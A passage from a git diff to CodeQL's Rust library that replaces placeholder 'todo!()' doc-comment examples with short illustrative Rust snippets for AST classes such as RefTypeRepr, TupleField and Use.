^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends @macro_type_repr, TypeRepr { @@ -2462,9 +2751,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends @name_ref, UseBoundGenericArg { @@ -2478,9 +2770,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends @never_type_repr, TypeRepr { @@ -2551,9 +2846,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -2572,9 +2870,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends @paren_pat, Pat { @@ -2588,9 +2889,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends @paren_type_repr, TypeRepr { @@ -2621,10 +2925,10 @@ module Raw { /** * INTERNAL: Do not use. - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ class PathTypeRepr extends @path_type_repr, TypeRepr { @@ -2666,9 +2970,13 @@ module Raw { /** * INTERNAL: Do not use. - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends @ptr_type_repr, TypeRepr { @@ -2821,9 +3129,13 @@ module Raw { /** * INTERNAL: Do not use. - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends @ref_type_repr, TypeRepr { @@ -2847,9 +3159,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends @rest_pat, Pat { @@ -2949,9 +3264,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends @slice_type_repr, TypeRepr { @@ -2965,9 +3283,12 @@ module Raw { /** * INTERNAL: Do not use. - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends @struct_field_list, FieldList { @@ -2981,9 +3302,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends @try_expr, Expr { @@ -3024,9 +3348,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends @tuple_field_list, FieldList { @@ -3057,9 +3384,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends @tuple_type_repr, TypeRepr { @@ -3073,9 +3403,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends @type_arg, GenericArg { @@ -3089,9 +3422,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends @type_param, GenericParam { @@ -3136,9 +3472,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends @variant, VariantDef, Addressable { @@ -3308,9 +3647,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends @const, AssocItem, Item { @@ -3354,9 +3695,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends @enum, Item { @@ -3395,9 +3738,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends @extern_block, Item { @@ -3426,9 +3773,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends @extern_crate, Item { @@ -3534,9 +3883,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends @impl, Item { @@ -3606,9 +3959,12 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -3637,9 +3993,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroDef extends @macro_def, Item { @@ -3673,9 +4035,13 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends @macro_rules, Item { @@ -3800,9 +4166,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends @static, ExternItem, Item { @@ -3853,7 +4221,10 @@ module Raw { * INTERNAL: Do not use. * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends @struct, Item, VariantDef { @@ -3994,9 +4365,11 @@ module Raw { /** * INTERNAL: Do not use. - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends @trait_alias, Item { @@ -4111,9 +4484,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends @union, Item, VariantDef { @@ -4152,9 +4527,9 @@ module Raw { /** * INTERNAL: Do not use. - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends @use, Item { @@ -4178,9 +4553,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends @for_expr, LoopingExpr { @@ -4238,9 +4617,13 @@ module Raw { /** * INTERNAL: Do not use. - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends @while_expr, LoopingExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll index 6c013f9356d..b770a268431 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RefTypeRepr` class directly. * Use the subclass `RefTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll index 89ac3f7f12c..31dfe0d307c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Name */ module Generated { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Rename` class directly. * Use the subclass `Rename`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll index 06d2947ee8a..0134255b828 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::RestPat` class directly. * Use the subclass `RestPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll index 352f4bcb960..e316b8b32f8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RetTypeRepr` class directly. * Use the subclass `RetTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll index e4c653da5d3..9b8a30c800a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll @@ -14,9 +14,22 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` * INTERNAL: Do not reference the `Generated::ReturnTypeSyntax` class directly. * Use the subclass `ReturnTypeSyntax`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll index 6d47596b7d7..176b4e699e4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::SliceTypeRepr` class directly. * Use the subclass `SliceTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll index 07b5f25fda0..64854b410ca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.Item */ module Generated { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` * INTERNAL: Do not reference the `Generated::SourceFile` class directly. * Use the subclass `SourceFile`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll index 00475e87558..0fb3c627de2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Static` class directly. * Use the subclass `Static`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll index 1366eab7796..3460c239a9f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll @@ -17,9 +17,15 @@ import codeql.rust.elements.Stmt */ module Generated { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StmtList` class directly. * Use the subclass `StmtList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index 07521be8d69..fdd28cb8de7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -23,7 +23,10 @@ module Generated { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` * INTERNAL: Do not reference the `Generated::Struct` class directly. * Use the subclass `Struct`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll index 8dfe65d5973..66ab2785d42 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.StructExprField */ module Generated { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructExprFieldList` class directly. * Use the subclass `StructExprFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll index cd392811e19..9650d4fd2c1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll @@ -19,9 +19,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructField` class directly. * Use the subclass `StructField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll index aabd886f6b7..624391a3da6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.StructField */ module Generated { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructFieldList` class directly. * Use the subclass `StructFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll index 2a2098f2721..46a5407626b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.StructPatField */ module Generated { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructPatFieldList` class directly. * Use the subclass `StructPatFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index 530f3e3199c..bd30d475a26 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -14,9 +14,16 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll index d084fc36436..0ca44b1f577 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` * INTERNAL: Do not reference the `Generated::TraitAlias` class directly. * Use the subclass `TraitAlias`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll index e71c2c26b9e..f4c5bbf6e9b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TryExpr` class directly. * Use the subclass `TryExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll index e7dd183a171..43696098386 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleField` class directly. * Use the subclass `TupleField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll index 9b25d9a9316..56b1d505c3a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TupleField */ module Generated { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleFieldList` class directly. * Use the subclass `TupleFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll index 5929c019ff4..dead3a445e7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleTypeRepr` class directly. * Use the subclass `TupleTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll index da8742cd188..1b6b1c13219 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeArg` class directly. * Use the subclass `TypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll index 0667a931e45..c1e349511be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.UseBoundGenericArgs */ module Generated { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBound` class directly. * Use the subclass `TypeBound`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll index 2781ab89de0..e2fa4152d02 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBound */ module Generated { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBoundList` class directly. * Use the subclass `TypeBoundList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll index 0c7c71df4f4..5379ca78306 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TypeParam` class directly. * Use the subclass `TypeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index 3959835cde0..63f76703bcb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -21,9 +21,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` * INTERNAL: Do not reference the `Generated::Union` class directly. * Use the subclass `Union`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll index 2bc1364b790..ba3cc1de397 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll @@ -17,9 +17,9 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` * INTERNAL: Do not reference the `Generated::Use` class directly. * Use the subclass `Use`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll index b900f7e01d3..9ba10bdf876 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.UseBoundGenericArg */ module Generated { /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::UseBoundGenericArgs` class directly. * Use the subclass `UseBoundGenericArgs`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index 2f4e6019c12..f7cd7533582 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index 9aa72b89a1e..fa45430d09b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.UseTree */ module Generated { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index 75b83ea647e..93d4fc6a416 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll index a09fcb80e3d..e0ba8bfab15 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Variant */ module Generated { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::VariantList` class directly. * Use the subclass `VariantList`, where the following predicates are available. diff --git 